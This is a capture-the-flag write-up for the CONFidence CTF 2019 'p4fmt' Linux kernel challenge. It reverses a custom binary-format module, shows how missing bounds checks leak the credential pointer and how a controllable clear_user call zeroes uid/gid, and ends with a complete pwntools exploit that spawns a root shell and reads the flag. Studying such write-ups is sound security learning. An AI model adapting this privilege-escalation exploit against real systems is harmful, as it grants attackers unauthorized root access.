# CONFidence CTF 2019 Teaser## p4fmt#### Flag: p4{4r3_y0U_4_81n4ry_N1njA?}### The challenge![desc](https://github.com/yuawn/CTF/blob/master/2019/confidence_teaser/p4fmt/screenshots/desc.png)* The files```.├── bzImage├── initramfs.cpio.gz└── run.sh```* run<span></span>.sh:```sh#!/bin/bashqemu-system-x86_64 -kernel ./bzImage \		-initrd ./initramfs.cpio.gz \		-nographic \		-append "console=ttyS0" \```Extract the content of rootfs:```shellgunzip initramfs.cpio.gz && cpio -idmv < initramfs.cpio```rootfs:```...├── bzImage├── dev├── etc│   └── passwd├── flag├── home│   └── pwn├── init├── p4fmt.ko├── proc├── run.sh├── sbin├── sys├── tmp└── usr    ├── bin    └── sbin
12 directories, 399 files```The `flag` and kernel module `p4fmt.ko` are placed in the root directory.```sh/ $ ls -l flag-rw-------    1 root     0               28 Mar 15 21:38 flag```Only root can read the flag, therefore our the goal is privilege escalation obviously.
init:```#!/bin/sh
mount -t proc none /procmount -t sysfs none /sys
insmod /p4fmt.ko
sleep 2
ln -s /dev/console /dev/ttyS0
cat <<EOF====================p4fmt====================
Kernel challs are always a bit painful.No internet access, no SSH, no file copying.
You're stuck with copy pasting base64'd (sometimes static) ELFs.But what if there was another solution?
We've created a lightweight, simple binary format for yourpwning pleasure. It's time to prove your skills.
EOF
setsid cttyhack su pwnpoweroff -f```### p4fmt.koIt's a simple kernel module:```c__int64 load_p4_binary(linux_binprm *_bprm){  ...}__int64 p4fmt_init(){  _register_binfmt(&p4format, 1LL);  return 0LL;}
__int64 p4fmt_exit(){  return unregister_binfmt(&p4format);}```It register a new binary format for p4 binary, and `load_p4_binary` is similar with `load_elf_binary` but for p4 format.
### load_p4_binaryIt first check whether the binary file is start with `"P4"`, if not it will return `-ENOEXEC`.After some reversing on the function, we can simply figure out the file format of p4 binary:```cstruct p4fmt{    char magic[2] = "P4";    int8_t version;    int8_t arg;    int32_t load_count;    int64_t header_offset; // offset to loads    int64_t entry;    char _gap[header_offset - 0x18];    struct load loads[load_count];}
struct load{    int64_t addr;    int64_t length;    int64_t offset;};```Version should be 0, otherwise it will `printk("Unknown version")`. There are two loading method determined by `arg`. If arg be 1, it will load the `address, length, offset` from header and do `vm_mmap`.We can generate a simple Hello World p4 binary:```pythonbinary = 'P4'               # MAGICbinary += p8(0)             # versionbinary += p8(1)             # argbinary += p32(1)            # load_countbinary += p64( 0x18 )       # header_offsetbinary += p64( 0x400080 )   # entrybinary += p64( 0x400000 | 7 ) + p64( 0x1000 ) + p64( 0 ) # addr , length , offsetbinary = binary.ljust( 0x80 , '\0' ) # 128binary += asm(    shellcraft.echo( 'Hello World!' ) +    shellcraft.exit(0))```Result:```sh/tmp $ ./hello_word[   22.679510] vm_mmap(load_addr=0x400000, length=0x1000, offset=0x0, prot=7)Hello World!/tmp $```### VulnerabilityFirst I thought whether can do something with `vm_mmap`, because there was no checking for the arguments, but there were `MAP_PRIVATE` and `ADDR_LIMIT_32BIT` flags, so it seemed like nothing to do.
After then, take a look at `struct linux_binprm`:```Cstruct linux_binprm {	char buf[BINPRM_BUF_SIZE];	struct vm_area_struct *vma;	unsigned long vma_pages;	struct mm_struct *mm;	unsigned long p; /* current top of mem */	unsigned long argmin; /* rlimit marker for copy_strings() */	unsigned int called_set_creds:1, cap_elevated:1, secureexec:1;	unsigned int recursion_depth; /* only for search_binary_handler() */	struct file * file;	struct cred *cred;	/* new credentials */	int unsafe;		/* how unsafe this exec is (mask of LSM_UNSAFE_*) */	unsigned int per_clear;	/* bits to clear in current->personality */	int argc, envc;	const char * filename;	/* Name of binary as seen by procps */	const char * interp;		unsigned interp_flags;	unsigned interp_data;	unsigned long loader, exec;	struct rlimit rlim_stack; /* Saved RLIMIT_STACK used during exec. */};```Binary header will be stored to `bprm->buf[]`, and the part of `load_p4_binary` where it process memory loading:```cif ( (p4fmt)(bprm->buf).arg > 1u )  return (unsigned int)-EINVAL;retval = flush_old_exec(bprm, P4MAG);if ( !retval ){  current->personality = 0x800000;  setup_new_exec(bprm);  arg = (p4fmt)(bprm->buf).arg;  if ( arg )  {    if ( arg != 1 )      return (unsigned int)-EINVAL;      if ( (p4fmt)(bprm->buf).load_count )      {        loads = (load *)&buf->magic[ (p4fmt)(bprm->buf).header_offset ];        do        {          addr = loads->addr;          prot = loads->addr & 7LL;          base = loads->addr & 0xFFFFFFFFFFFFF000LL;          printk("vm_mmap(load_addr=0x%llx, length=0x%llx, offset=0x%llx, prot=%d)\n", base, loads->length, loads->offset, prot);          offset = loads->offset;          length = loads->length;          if ( addr & 8 )          {            vm_mmap(0LL, base, length, prot, 2LL, offset);            printk("clear_user(addr=0x%llx, length=0x%llx)\n", loads->addr, loads->length);            _clear_user(loads->addr, loads->length);          }          else          {            vm_mmap(bprm->file, base, length, prot, 2LL, offset);          }          ++retval;          ++loads;      }while ( (p4fmt)(bprm->buf).load_count > retval );    }  }  else{
.....```The problem is that it does not has bounds checking for `header_offset` and `load_count`, we can use `header_offset` to control the pointer:`loads = (load *)&buf->magic[ (p4fmt *)(bprm->buf).header_offset ];`,and over reading memory by setting up `load_count`,  therefore we can leak the content in `struct linux_binprm`.
PoC:```pythonbinary = 'P4'                # MAGICbinary += p8(0)              # versionbinary += p8(1)              # argbinary += p32( 5 )           # load_countbinary += p64( 0x80 - 0x18 ) # header_offset```Result:```sh/tmp $ ./leak[    7.607129] vm_mmap(load_addr=0x0, length=0x0, offset=0x0, prot=0)[    7.607460] vm_mmap(load_addr=0x7fffffffe000, length=0x100000001, offset=0x0, prot=3)[    7.607952] vm_mmap(load_addr=0xffff9f160213d000, length=0x0, offset=0x7fffffffeff1, prot=0)[    7.608132] vm_mmap(load_addr=0x0, length=0xffff9f16020c8b40, offset=0x800000, prot=0)[    7.608315] vm_mmap(load_addr=0xfffffffffffff000, length=0x1, offset=0x0, prot=7)[    7.608561] clear_user(addr=0xffffffffffffffff, length=0x1)[    7.610219] leak[526]: segfault at 0 ip 0000000000000000 sp 00007fffffffef93 error 14[    7.610786] Code: Bad RIP value.Segmentation fault/tmp $```### Privilege escalationFor now, we can use kernel information leak to bypass kaslr, but how to achieve privilege escalation.We can simplify the process of `load_p4_binary`:1. Check for file format.2. `flush_old_exec(bprm, P4MAG)`3. `setup_new_exec(bprm)`4. Process memory loading.5. `install_exec_creds(bprm)`6. `set_binfmt(&p4format)`7. `setup_arg_pages(bprm, randomize_stack_top(STACK_TOP), 0LL)`8. `finalize_exec(bprm)`9. `start_thread(regs, p4_entry, bprm->p)`
`install_exec_creds(bprm)` is interesting, it will do `commit_creds(bprm->cred);` inside.```cvoid install_exec_creds(struct linux_binprm *bprm){	security_bprm_committing_creds(bprm);
	commit_creds(bprm->cred);	bprm->cred = NULL;
	if (get_dumpable(current->mm) != SUID_DUMP_USER)		perf_event_exit_task(current);
	security_bprm_committed_creds(bprm);	mutex_unlock(&current->signal->cred_guard_mutex);}```We are already able to leak the address of `struct cred *cred` in `struct linux_binprm *bprm`, and the `struct cred`:```cstruct cred {	atomic_t	usage;	kuid_t		uid;		/* real UID of the task */	kgid_t		gid;		/* real GID of the task */	kuid_t		suid;		/* saved UID of the task */	kgid_t		sgid;		/* saved GID of the task */	kuid_t		euid;		/* effective UID of the task */	kgid_t		egid;		/* effective GID of the task */	kuid_t		fsuid;		/* UID for VFS ops */	kgid_t		fsgid;		/* GID for VFS ops */	unsigned	securebits;	/* SUID-less security management */	kernel_cap_t	cap_inheritable; /* caps our children can inherit */	kernel_cap_t	cap_permitted;	/* caps we're permitted */	kernel_cap_t	cap_effective;	/* caps we can actually use */	kernel_cap_t	cap_bset;	/* capability bounding set */	kernel_cap_t	cap_ambient;	/* Ambient capability set */    ...```If we can overwrite the `uid` and `gid` in `bprm->cred` before calling `install_exec_creds`, so that it would install the new `cred`!
But how to set the `uid` and `gid` to zero, remember there is a funtion named `_clear_user()`:```Nameclear_user — Zero a block of memory in user space.
Synopsisunsigned long clear_user (void __user * to, unsigned long n);```There is `_clear_user(loads->addr, loads->length);` in `load_p4_binary` where `loads->addr` and `loads->length` are controllable, that means we can zero a block of memory everywhere. That's awesome!### ConstraintsAlthough we are able to leak the memory, but we can't do the leak and setting up header at the same time with the same binary.Execute another time, the address of `cred` has some random offset, but I found the interesting thing:```[+] cred -> 0xffff99cb021fa180[+] cred -> 0xffff99cb021faf00[+] cred -> 0xffff99cb021fab40[+] cred -> 0xffff99cb021faa80[+] cred -> 0xffff99cb021facc0
[+] cred -> 0xffff99cb021fa180[+] cred -> 0xffff99cb021faf00[+] cred -> 0xffff99cb021fab40[+] cred -> 0xffff99cb021faa80[+] cred -> 0xffff99cb021facc0```The address will be the same when execute the binary every five times, don't know the reason...
### ExploitGenerate a p4 binary for kernel memory leak first, then set up loads header of second p4 binary to trigger `_clear_user( bprm->cred | 8 + 0x10 , 0x48 ); // +0x10 prevent crashing caused by the NULL pointer`.`install_exec_creds(bprm)` will call `commit_creds(bprm->cred);` and process our new `bprm->cred`, then execute our p4 binary with root privilege!Execute shellocde and enjoy the root shell :D
### Root shell![root_shell](https://github.com/yuawn/CTF/blob/master/2019/confidence_teaser/p4fmt/screenshots/root_shell3.png)
exploit:```python#!/usr/bin/env pythonfrom pwn import *import base64import re
# p4{4r3_y0U_4_81n4ry_N1njA?}
context.arch = 'amd64'host , port = 'p4fmt.zajebistyc.tf' , 30002y = remote( host , port )
def gen_p4_binary( version = 0 , arg = 1 , section_header_offset = 0x18 , sections_len = 0 , entry = 0 , sections = [] , code = '' ):    b = 'P4' # MAGIC    b += p8( version ) + p8( arg ) + p32( sections_len ) + p64( section_header_offset ) + p64( entry )    b += ''.join( flat(s) for s in sections )    if code:        b = b.ljust( entry & 0xfff , '\0' )        b += code    return b
def sp( cmd ):    y.sendlineafter( '$' , cmd )
def leak():    sp( './leak' )    y.recvuntil( 'length=' )    cred = int( y.recvuntil( ',' )[:-1] , 16 )    success( 'cred -> %s' % hex( cred ) )    return cred
sp( 'cd /tmp' )
p4 = gen_p4_binary( section_header_offset = 0x90 , sections_len = 1 )sp( "echo %s | base64 -d > ./leak" % ( base64.b64encode( p4 ) ) )sp( 'chmod +x ./leak' )cred = leak() # 1
p4 = gen_p4_binary( sections = [[0x7000000 | 7, 0x1000, 0], [cred | 8 + 0x10, 0x48, 0]] , sections_len = 2  , entry = 0x7000090 , code = asm( shellcraft.sh() ) )sp( 'printf \'\\%s\' > ./pwn' % '\\'.join( oct( ord( _ ) )[1:].rjust( 3 ,'0' ) for _ in p4 ) )sp( 'chmod +x ./pwn' )
'''[+] cred -> 0xffff99cb021fa180[+] cred -> 0xffff99cb021faf00[+] cred -> 0xffff99cb021fab40[+] cred -> 0xffff99cb021faa80[+] cred -> 0xffff99cb021facc0
[+] cred -> 0xffff99cb021fa180[+] cred -> 0xffff99cb021faf00[+] cred -> 0xffff99cb021fab40[+] cred -> 0xffff99cb021faa80[+] cred -> 0xffff99cb021facc0'''
for _ in range(3):    leak()
sp( './pwn' ) # cred should be the same as first leak
y.sendlineafter( '/tmp #' , 'cat /flag' ) # root !
y.interactive()```